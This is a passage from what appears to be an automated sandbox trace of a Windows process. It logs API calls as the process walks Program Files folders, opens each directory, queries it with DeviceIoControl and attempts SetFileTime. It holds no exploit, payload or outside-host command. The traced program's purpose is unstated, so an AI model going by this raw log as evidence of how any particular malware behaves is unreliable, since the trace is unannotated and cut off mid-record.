lpLastWriteTime=0x17aebc8) returned 0 [0055.598] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf20b90, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xf20b90, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.598] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf20b90) returned 1 [0055.598] NtClose (Handle=0x134) returned 0x0 [0055.598] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0aa80) returned 1 [0055.598] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459bb8 [0055.600] GetLastError () returned 0x12 [0055.600] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459d38 [0055.600] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0055.600] GetLastError () returned 0x12 [0055.600] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0b278) returned 1 [0055.600] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.601] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0c960) returned 1 [0055.601] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0aa80) returned 1 [0055.601] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.602] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0055.602] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.602] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf1ee80, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xf1ee80, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.602] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf1ee80) returned 1 [0055.602] NtClose (Handle=0x180) returned 0x0 [0055.602] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0aa80) returned 1 [0055.602] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459d38 [0055.604] GetLastError () returned 0x12 [0055.604] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459bb8 [0055.604] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.604] GetLastError () returned 0x12 [0055.604] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0ae38) returned 1 [0055.604] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0055.605] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0c960) returned 1 [0055.605] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0aa80) returned 1 [0055.605] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.605] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0055.605] SetFileTime (hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.606] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf23e08, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xf23e08, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.606] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf23e08) returned 1 [0055.606] NtClose (Handle=0x134) returned 0x0 [0055.606] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0aa80) returned 1 [0055.606] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459bb8 [0055.608] GetLastError () returned 0x12 [0055.608] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459d38 [0055.609] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0055.610] GetLastError () returned 0x12 [0055.610] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0b300) returned 1 [0055.610] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.611] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0c960) returned 1 [0055.611] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0aa80) returned 1 [0055.611] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa820921, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.613] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0055.613] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.614] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf24dd0, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xf24dd0, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.614] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf24dd0) returned 1 [0055.614] NtClose (Handle=0x180) returned 0x0 [0055.614] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0aa80) returned 1 [0055.614] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459d38 [0055.614] GetLastError () returned 0x12 [0055.614] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459bb8 [0055.614] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.614] GetLastError () returned 0x12 [0055.614] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0b278) returned 1 [0055.614] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0055.614] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0c960) returned 1 [0055.614] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0aa80) returned 1 [0055.614] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.615] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0055.615] SetFileTime (hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.615] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf24dd0, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xf24dd0, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.615] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf24dd0) returned 1 [0055.615] NtClose (Handle=0x134) returned 0x0 [0055.615] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0aa80) returned 1 [0055.615] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459bb8 [0055.617] GetLastError () returned 0x12 [0055.617] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459d38 [0055.617] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0055.617] GetLastError () returned 0x12 [0055.617] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0b498) returned 1 [0055.617] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.618] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0c960) returned 1 [0055.618] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0aa80) returned 1 [0055.618] GetLastError () returned 0x12 [0055.618] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0a9f8) returned 1 [0055.618] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0055.618] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4a78) returned 1 [0055.618] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0055.618] GetLastError () returned 0x12 [0055.618] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee48c8) returned 1 [0055.618] FindClose (in: hFindFile=0x459bf8 | out: hFindFile=0x459bf8) returned 1 [0055.618] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee4840) returned 1 [0055.618] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0055.618] GetLastError () returned 0x12 [0055.618] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0055.618] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.618] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f2e0) returned 1 [0055.618] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0055.618] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Internet Explorer" (normalized: "c:\\program files\\internet explorer"), fInfoLevelId=0x0, lpFileInformation=0x17af3ac | out: lpFileInformation=0x17af3ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d4c02d0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x1d4c02d0, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0055.619] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer" (normalized: "c:\\program files\\internet explorer"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0055.619] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17af3f0, lpLastWriteTime=0x17af3f0) returned 0 [0055.619] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf25dd8, nOutBufferSize=0x4000, lpBytesReturned=0x17af448, lpOverlapped=0x0 | out: lpOutBuffer=0xf25dd8, lpBytesReturned=0x17af448, lpOverlapped=0x0) returned 0 [0055.619] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf25dd8) returned 1 [0055.619] NtClose (Handle=0x174) returned 0x0 [0055.619] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0055.619] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Internet Explorer\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459c78 [0055.619] GetLastError () returned 0x12 [0055.619] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Internet Explorer\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459bf8 [0055.619] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.619] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Internet Explorer\\en-US" (normalized: "c:\\program files\\internet explorer\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x17af0f4 | out: lpFileInformation=0x17af0f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0055.620] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US" (normalized: "c:\\program files\\internet explorer\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0055.620] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17af138, lpLastWriteTime=0x17af138) returned 0 [0055.620] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf25dd8, nOutBufferSize=0x4000, lpBytesReturned=0x17af190, lpOverlapped=0x0 | out: lpOutBuffer=0xf25dd8, lpBytesReturned=0x17af190, lpOverlapped=0x0) returned 0 [0055.620] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf25dd8) returned 1 [0055.620] NtClose (Handle=0x174) returned 0x0 [0055.620] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0a9f8) returned 1 [0055.620] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459c78 [0055.621] GetLastError () returned 0x12 [0055.621] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459cf8 [0055.621] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.621] GetLastError () returned 0x12 [0055.621] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0b300) returned 1 [0055.621] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0055.622] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0b498) returned 1 [0055.622] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0a9f8) returned 1 [0055.622] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP" (normalized: "c:\\program files\\internet explorer\\signup"), fInfoLevelId=0x0, lpFileInformation=0x17af0f4 | out: lpFileInformation=0x17af0f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x98d1a336, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98d1a336, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.622] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP" (normalized: "c:\\program files\\internet explorer\\signup"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0055.622] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17af138, lpLastWriteTime=0x17af138) returned 0 [0055.622] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf23ec8, nOutBufferSize=0x4000, lpBytesReturned=0x17af190, lpOverlapped=0x0 | out: lpOutBuffer=0xf23ec8, lpBytesReturned=0x17af190, lpOverlapped=0x0) returned 0 [0055.622] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf23ec8) returned 1 [0055.622] NtClose (Handle=0x17c) returned 0x0 [0055.622] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0a9f8) returned 1 [0055.623] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459cf8 [0055.623] GetLastError () returned 0x12 [0055.623] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459c78 [0055.623] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0055.623] GetLastError () returned 0x12 [0055.623] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0b300) returned 1 [0055.623] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.623] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0b498) returned 1 [0055.623] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0a9f8) returned 1 [0055.623] GetLastError () returned 0x12 [0055.623] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0055.623] FindClose (in: hFindFile=0x459bf8 | out: hFindFile=0x459bf8) returned 1 [0055.623] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f2e0) returned 1 [0055.623] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0055.623] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services" (normalized: "c:\\program files\\microsoft analysis services"), fInfoLevelId=0x0, lpFileInformation=0x17af3ac | out: lpFileInformation=0x17af3ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services" (normalized: "c:\\program files\\microsoft analysis services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0055.624] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x17af3f0, lpLastWriteTime=0x17af3f0) returned 0 [0055.624] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf23ec8, nOutBufferSize=0x4000, lpBytesReturned=0x17af448, lpOverlapped=0x0 | out: lpOutBuffer=0xf23ec8, lpBytesReturned=0x17af448, lpOverlapped=0x0) returned 0 [0055.624] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf23ec8) returned 1 [0055.624] NtClose (Handle=0x168) returned 0x0 [0055.624] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0055.624] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459bf8 [0055.624] GetLastError () returned 0x12 [0055.624] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459c78 [0055.624] FindClose (in: hFindFile=0x459bf8 | out: hFindFile=0x459bf8) returned 1 [0055.625] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB" (normalized: "c:\\program files\\microsoft analysis services\\as oledb"), fInfoLevelId=0x0, lpFileInformation=0x17af0f4 | out: lpFileInformation=0x17af0f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB" (normalized: "c:\\program files\\microsoft analysis services\\as oledb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0055.625] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x17af138, lpLastWriteTime=0x17af138) returned 0 [0055.625] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf23ec8, nOutBufferSize=0x4000, lpBytesReturned=0x17af190, lpOverlapped=0x0 | out: lpOutBuffer=0xf23ec8, lpBytesReturned=0x17af190, lpOverlapped=0x0) returned 0 [0055.625] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf23ec8) returned 1 [0055.625] NtClose (Handle=0x168) returned 0x0 [0055.625] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0a9f8) returned 1 [0055.625] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459bf8 [0055.625] GetLastError () returned 0x12 [0055.625] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459cf8 [0055.625] FindClose (in: hFindFile=0x459bf8 | out: hFindFile=0x459bf8) returned 1 [0055.626] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10"), fInfoLevelId=0x0, lpFileInformation=0x17aee3c | out: lpFileInformation=0x17aee3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, 